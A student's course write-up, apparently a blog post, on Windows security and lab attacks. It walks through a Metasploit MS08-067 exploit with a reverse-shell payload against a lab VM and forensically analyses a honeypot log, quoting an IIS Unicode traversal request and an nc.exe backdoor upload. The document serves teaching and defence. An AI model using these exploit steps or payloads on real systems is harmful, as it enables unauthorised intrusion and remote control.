《网络攻防实践》第七周作业
一、前言
- 这个作业属于哪个课程:https://edu.cnblogs.com/campus/besti/19attackdefense
- 这个作业的要求在哪里:https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10612
- 我在这个课程的目标是:学习网络攻防相关知识,提升专业技能
- 这个作业在哪个具体方面帮助我实现目标:学习了解Windows操作系统安全攻防
二、知识点总结
1.Windows操作系统基本框架概述
Windows操作系统的基本结构分为运行于处理器特权模式(ring0) 的操作系统内核,以及运行在处理器非特权模式(ring3)的用户空间代码。Windows操作系统的基本结构示意图如下:
1.1 Windows操作系统内核基本模块包含:
- Windows执行体:包含基本的操作系统内核服务,如进程与线程管理、内存管理、I/O管理、网络连接、进程间通信,以及安全服务
- Windows内核体:实现底层操作系统功能,如线程调度、中断和异常分发处理、多处理器同步机制
设备驱动程序:顾名思义 - 硬件抽象层:用于屏蔽Windows内核与平台硬件差异性的底层代码
- WindowsGUI内核实现代码:即win32k.sys文件
1.2 Windows操作系统在用户态的代码模块则包括:
- 系统支持进程:Windows开机自动启动的系统内建服务进程,如用于登录认证的logon进程
- 环境子系统服务进程:为运行环境提供支持的服务进程
- 服务进程
- 用户应用软件:在用户态执行的各类用户应用软件
- 核心子系统DLL:很多dll动态连接库文件,作为用户态服务进程与应用软件和操作系统内核的交互接口
1.3 Windows进程和线程管理机制
进程可以看作是Windows子系统的执行对象,可执行程序运行时的容器
1.4 Windows文件管理机制
Windows下使用NTFS文件结构。NTFS文件系统基于ACL访问控制列表来保证文件资源读/写的安全性,较FAT更加安全,此外具有更高的性能、可靠性和磁盘利用效率。
Windows使用PE格式的可执行文件,主要分为Dos头、PE头、分段表、以及具体的代码段和数据段等格式。
1.5 Windows注册表管理机制
注册表被称为Windows操作系统的核心,它的工作原理实质是一个庞大的数据库,存放了关于计算机硬件的配置信息、系统和应用软件的初始化信息、应用软件和文档文件的关联关系、硬件设备的说明以及各种状态信息和数据,包括Windows操作时不断引用的信息。
注册表有五个一级分支,下面是这五个分支的名称及作用:
名称 | 作用 |
---|---|
HKEY_CLASSES_ROOT | 存储Windows可识别的文件类型的详细列表,以及相关联的程 |
HKEY_CURRENT_USER | 存储当前用户设置的信息 |
HKEY_LOCAL_MACHINE | 包括安装在计算机上的硬件和软件的信 |
HKEY_USERS | 包含使用计算机的用户的信息 |
HKEY_CURRENT_CONFIG | 这个分支包含计算机当前的硬件配置信息 |
1.6 Windows内存管理机制
对于32位Windows系统而言,2GB-4GB区间为系统核心内存,0GB-2GB区间为用户态内存。
- 系统核心内存用于映射内核、HAL、Win32k.sys等内核执行模块,并存储内核内存对象,对于用户态程序是无法直接访问的,但对于在内核中运行的特权代码,则可通过DKOM技术来进行枚举和操纵。
- 用户态内存中包含用户程序的代码段、数据段,并对每个线程对应有一个栈和一个堆。
1.7 Windows网络机制
Windows下不同层次网络组件的功能:
不同网络层组件 | 介绍 |
---|---|
网卡硬件设备驱动程序 | 物理层,厂商提供 |
NDIS库及mimiport驱动 | 数据链路层,使得协议驱动程序可以以一种与设备无关的方式来跟网络适配器驱动程序进行通信 |
TDI | 传输层,将网络请求格式化成IRP,以及申请网络地址和数据通信 |
网络API DLL及TDI客户端 | 会话层和表示层,独立于具体协议提供网络交互和实现方式 |
网络应用服务程序与服务进程 | 应用层,各种网络API DLL,来实现网络交互和通信功能。 |
2.Windows操作系统的安全体系结构与机制
Windows操作系统的安全设计目标是采用一致的,健壮的,基于对象的安全模型,支持一台机器上多个用户之间安全地共享进程、内存、设备、文件及网络等各种类型的系统资源,来满足商业用户的安全需求。
Windows操作系统基于引用监控器模型来实现基本的对象安全模型,系统中所有主体对客体的访问都通过引用监控器作为中介,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录也都由引用监控器生成审计日志。如下图
2.1 Windows安全体系结构
Windows系统安全体系结构示意图如下,最为核心的是SRM(Security Reference Monitor)安全引用监控器,以及位于用户态的LSASS(Local Security Authority Subsystem Service)安全服务,他们与Winlogon/Netlogon及Eventlog等服务一起,实现了对主体用户的身份认证机制、对所有资源对象的访问控制机制,以及对访问的安全审计机制。
2.2 Windows身份认证机制
Windows系统中以安全主体概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类,对于每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识。
Windows为每个用户和计算机设置账户进行管理,作为这些安全主体运行程序代码的执行环境,而账户权限的根本作用就是限制这些账户内运行程序对系统资源对象的访问。
2.3 Windows对象安全描述符
Windows对于系统中所有需保护的资源都抽象成对象,具体类型包括文件、目录、注册表键值、内核对象、同步对象、私有对象、管道、内存、通信接口等,而对每个对象会关联一个SD安全描述符,对象安全描述符由如下主要属性组成
属性 | 作用 |
---|---|
Owner SID | 对象所有者的SID安全标识符 |
Group SID | 对象所在基本用户组的SID安全标识符 |
DACL自主访问控制列表 | 指明了哪些安全主体可以何种方式来访问该对象 |
SACL系统审计访问控制列表 | 指明了由哪些主体发起的哪些访问操作需要被审计 |
2.4 Windows安全审计机制
LSAS服务将保存审计策略,在对象安全描述符中的SACL列表中进行保存
安全中心还具有防火墙、补丁自动更新、病毒防护机制、IPSec加密与验证机制、EFS加密文件系统、windows文件保护机制等
3 Windows远程安全攻防技术
3.1 Windows远程攻击技术的分类
- 远程口令猜测与破解攻击
- 攻击Windows网络服务
- 攻击Windows客户端及用户
针对特定目标的渗透测试攻击过程 - 漏洞扫描测试
- 查找针对发现漏洞的渗透代码
- 实施渗透测试
3.2 使用Metasploit软件实施渗透测试
Metasploit软件采用开发框架和模块组件的可扩展模型
模块组件是真正实施渗透攻击的代码,包括:
模块 | 作用 |
---|---|
Exploits | 利用安全漏洞 |
Auxiliary | 进行扫描、查点等其他辅助任务 |
Payloads | 在目标系统上植入和运行Shellcode攻击负载 |
Encoders | 对攻击负载进行编码以躲避检测 |
Nops | 对攻击负载进行填充 |
4 Windows本地安全攻防技术
4.1 Windows本地特权提升
- 溢出提权、windows错误系统配置、计划任务提权
- 措施:及时打补丁、及时跟进厂家的安全警告
4.2 Windows敏感信息窃取
- windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等
- 措施:使用安全度高、能抵挡破解的口令
4.3 Windows消灭踪迹
- 关闭审计功能、清理事件日志
- 措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中
4.4 远程控制与后门
- 向受控主机中植入第三方的远程控制与后门程序
- 措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序
三、实验内容
使用到的虚拟机
下述实验我们要确保kali和win2k可以正常互相ping通,网络模式都调为NAT。下述是两台电脑的IP
模块 | ip |
---|---|
kali | 192.168.200.2 |
win2k server | 192.168.200.124 |
任务一:Metasploit Windows Attack
1.首先确认kali和win2k可以互相ping通
2.在kali打开metasploit,输入msfconsole
,回车后就会进入到他的控制台界面,然后先搜索一下ms08_067漏洞,搜索结果如下图。这是针对这个漏洞的渗透攻击模块。
3.use exploit/windows/smb/ms08_067_netapi
,进入该漏洞模块的使用。
4.选择攻击负载模块,可以通过输入show payloads,然后找到你要用的攻击负载模块,其中,命令show targets
会显示出可以被攻击的靶机的操作系统型号
5.选择3,反向连接tcp,shell_reverse_tcp,set PAYLOAD 3
,设置攻击有效载荷
6.然后show options
,显示我们需要在攻击前需要设置的数据
7.按照靶机RHOST,攻击机LHOST的原则配置IP
8.使用命令show options
再次查看payload状态
9.设置目标操作系统平台类型,set TARGET 0
,0代表自动匹配
10.输入exploit
开始攻击。攻击结果如下图
11.攻击成功后,发现进入了靶机的cmd页面上,输入ipconfig查看靶机ip。在win2000上执行同样的命令,与攻击机结果对比,得到攻击成功的验证这样就验证了我们的攻击是成功的。
任务二:取证分析实践:解码一次成功的NT系统破解攻击。
1.用本机的wireshark打开云班课老师上传的snort-0204@0117.log文件。日志文件由以下内容组成:
- 可识别的HTTP协议内容
- 可识别的SQL语言代码内容
- 可识别的系统操作代码内容
- 不可识别的数据(二进制数据)
2.使用wireshark自带的统计工具,统计
-http
-请求
红框部分应该就是这次的攻击代码了。而其他的都是一些网页gif图片。
3.设置限定条件为:ip.addr==172.16.1.106 and http
。编号为117的这一行/guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini
其中boot.ini
是NT系统的启动文件,..%c0af..
是"/"的Unicode编码。这是IIS存在的一个漏洞。说明攻击者通过IIS Unicode漏洞了解了被攻击主机操作系统的一些基本情况
4.再往下,可以看到攻击者试图向服务器获取一个msadcs.dll
文件
5.攻击者利用这个dll存在RDS漏洞,输入了个数据查询语句进行SQL注入攻击。根据ADM!ROX..以及那个mdb。我们可以通过百度查询到它是通过国外安全研究人员(rain forest puppy)编写的msadc(2).pl渗透攻击代码发起的。
6.然后攻击者就成功进入了系统。可以看到到下图所示位置,发生了变化。攻击者建立了一个ftp连接。输入了用户名密码,下载了几个文件。
7.然后攻击者连接6969端口,获得了访问权限。
8.从1361编号开始,攻击机发起了多次SQL注入攻击,通过修改用户名和口令的方式完成了利用FTP进行网络攻击工具软件nc.exe的注入操作。
9.然后在编号2339,右键追踪http流,我们可以看到,根据add,他应该是想提升权限
相关问题的回答
1.攻击者使用了什么破解工具进行攻击?
- 口令破解工具和nc.exe来实现对目标主机的攻击。Nc.exe:完成远程主机连接等工作。
2.攻击者如何使用这个破解工具进入并控制了系统? - Nc.exe:完成远程主机连接后,利用telnet操作实现对操作系统的控制。
3.当攻击者获得系统的访问权后做了什么? - 对目标主机的文件系统进行了嗅探。
- 尝试在根目录下创建rdisk,但是没有成功。
- 并试图通过删除SAM数据库中的数据(拷贝和删除har.txt)和将自己加到管理员组中的方式来实现提升自己访问权限的目的。
- 还试图在其它端口(6969)上运行nc。
4.我们如何防止这样的攻击? - 为这些漏洞打上补丁,
- 禁用用不着的 RDS 等服务,
- 防火墙封禁网络内部服务器发起的连接
- 为 web server 在单独的文件卷上设置虚拟根目录
- 使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能
- 使用 IIS Lockdown 和 URLScan 等工具加强 web server
5.你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么? - 攻击者应该警觉到了这是个蜜罐。写了一串英文表示他明白了这是个蜜罐。
任务三:团队对抗实践: Windows系统远程渗透攻击与分析
1.攻击步骤跟任务1是一样,攻击的漏洞依然是ms08_067漏洞。
2.攻击机输入exploit之后,敲回车之前,使用wireshark实时监听经过网卡的数据包。
可以看出攻击者ip地址192.168.200.2
,端口44797
,靶机ip地址192.168.200.124
,端口445
等信息
3.上图中2/5/6三个包是tcp三次握手包,建立连接后,从下图中我们发现攻击机向靶机发了许多SMB协议包。而MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的。所以据此可以推断出,是利用这个漏洞攻击的
4.这时我们在攻击机输入个ipconfig命令,会显示如下结果。
5.打开wireshark,查看刚刚捕获到的包,我们可以从发的包的数据部分得到我们刚刚输入的命令
四、学习中遇到的问题及解决
- 有些指令需要在root权限下执行,经常会忘记,提示没有此指令。
- 面对分析的内容基础不足,需要参考别人博客才能大致了解,拿到数据包有些不知所措。
五、学习感想和体会
本次实验主要学习了Windows的攻防,能够进行一些简单的漏洞攻击。实践的过程还是比较顺畅的,并没有遇到什么大的问题。重点应该还是在分析上,分析干扰项还是很多的,需要回顾消化。
2020 年 4月 16日